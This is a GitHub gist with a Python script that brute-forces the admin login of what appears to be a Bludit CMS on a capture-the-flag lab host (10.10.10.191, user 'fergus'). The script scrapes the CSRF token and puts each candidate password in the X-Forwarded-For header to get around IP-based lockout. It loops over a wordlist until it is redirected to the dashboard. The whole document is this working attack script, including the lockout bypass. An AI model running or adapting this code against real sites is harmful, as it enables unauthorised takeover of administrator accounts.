Created
October 3, 2020 21:33
-
-
Save HarshitRuwali/dd086c78f64d3877703de5ee2b86d5b4 to your computer and use it in GitHub Desktop.
Brute force the password from a given set of word-list.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
import requests | |
# from __future__ import print_functions | |
def open_resources(file_path): | |
return [item.replace("\n", "") for item in open(file_path).readlines()] | |
host = 'http://10.10.10.191' | |
login_url = host + '/admin/login' | |
username = 'fergus' | |
wordlist = open_resources('wordlist.txt') | |
for password in wordlist: | |
session = requests.Session() | |
login_page = session.get(login_url) | |
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1) | |
print('[*] Trying : {p}'.format(p = password)) | |
headers = { | |
'X-Forwarded-For': password, | |
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36', | |
'Referer': login_url | |
} | |
data = { | |
'tokenCSRF': csrf_token, | |
'username': username, | |
'password': password, | |
'save': '' | |
} | |
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False) | |
if 'location' in login_result.headers: | |
if '/admin/dashboard' in login_result.headers['location']: | |
print() | |
print('SUCCESS: Password found!') | |
print('Use {u}:{p} to login.'.format(u = username, p = password)) | |
print() | |
break | |
else: | |
print("password not found in the wordlist") | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment